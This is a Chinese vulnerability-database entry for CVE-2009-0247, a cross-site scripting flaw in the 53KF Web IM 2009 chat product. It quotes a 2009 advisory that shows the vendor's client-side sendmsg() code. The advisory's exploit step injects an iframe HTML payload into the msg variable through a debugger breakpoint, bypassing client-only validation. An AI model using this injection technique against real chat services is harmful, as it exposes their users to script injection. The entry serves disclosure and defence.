53KF Web IM "msg" Parameter 跨站脚本攻击漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1183965 漏洞类型 跨站脚本
发布时间 2009-01-22 更新时间 2009-01-22
CVE编号 CVE-2009-0247 CNNVD-ID CNNVD-200901-292
漏洞平台 N/A CVSS评分 4.3
|漏洞来源
https://cxsecurity.com/issue/WLB-2009010048
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-292
|漏洞详情
53KFWebIM2009家庭版、专业版和企业版的服务器依赖客户端的保护机制来防止跨站脚本攻击,这使得远程攻击者可以通过使用一个修改过的客户端来发送一个特制的IM信息,从而执行跨站脚本攻击。此漏洞与msg变量有关。
|漏洞EXP
Application: 53KF Web IM
Vendor: www.53kf.com
Corporation: LiuDu, Inc.
Version: Latest: (19 JAN 2009) - Home Edition, Enterprise & Professional
Description: 53KF Web IM 2009 Cross-Site Scripting Vulnerabilities

Background:
==============
53KF is a web-based group chat tool that lets invite a client,
colleague, or vendor to chat, and collaborate.More than 220,000
websites in the use of 53KF.

Vulnerability:
==============
They do not properly sanitize the potentially malicious input content
to be rendered and, as a result, an attacker might provide malicious
HTML content as part of an IM message. There is a client-side only
input validation.

Exploit:
==============

156function sendmsg() {
157 try{textCounter(document.getElementById("input1"),1000)}catch(e){}
158 msg=document.getElementById("input1").value;
159 if (msg.trim()=="") {
160 return;
161 }
162 msg=UBBEncode(msg);
163 document.getElementById("input1").value="";
164 display_msg("<font color=\"#666666\">"+infos[13]+":
"+getTime2()+"</font><br>&nbsp;&nbsp;"+UBBCode(msg.trim()));
165 try{msg=msgFilter(msg);}catch(e){}
166 if(usezzdy=="1"){
167 var rmsg=sendtext(msg);
168 display_msg("<font
color=\"#666666\">"+infos[57]+":</font><br>&nbsp;&nbsp;<font
color=\"#0000CE\">"+rmsg+"</font>");
169 }else{
170 if (typeof(rec_stat)!="undefined" && rec_stat==1){
171 push_info("post","REC",mytempid,"11",UBBCode(msg.trim()),getTime());
172 display_msg("<font
color=\"#666666\">"+infos[29]+":</font><br>&nbsp;&nbsp;<font
color=\"#0000CE\">"+UBBCode(UBBEncode(lword_prompt))+"</font>");
173 }
174 else{
175 qstmsg(UBBCode(msg.trim()));
176 }
177 }
178 if (talk_fee_type==1)
179 {
180 talk_fee_type=0;
181 url="http://www.53kf.cn/v5_talk.php?talk_fee_type=1&arg="+arg+"&style="+style;
182 rpc(url);
183 }
184
185 if(istalktype==1)
186 {
187 istalktype=0;
188 url="http://www.53kf.cn/istalk.php?companyid="+company_id+"&istalk=1";
189 rpc(url);
190 }
191}

SET BREAKPOINT(firebug, etc) AT 164TH LINE, AND SET NEW VALUE:
msg = "<iframe width=800 height=600 src='http://WWW.g.cn'></iframe>"

=========================
xisigr[topsec]
xisigr_at_gmail&#46;com

|参考资料

来源:XF
名称:53kfwebim-msg-xss(48096)
链接:http://xforce.iss.net/xforce/xfdb/48096
来源:BID
名称:33341
链接:http://www.securityfocus.com/bid/33341
来源:BUGTRAQ
名称:2009011953KFWebIM2009Cross-SiteScriptingVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/500169/100/0/threaded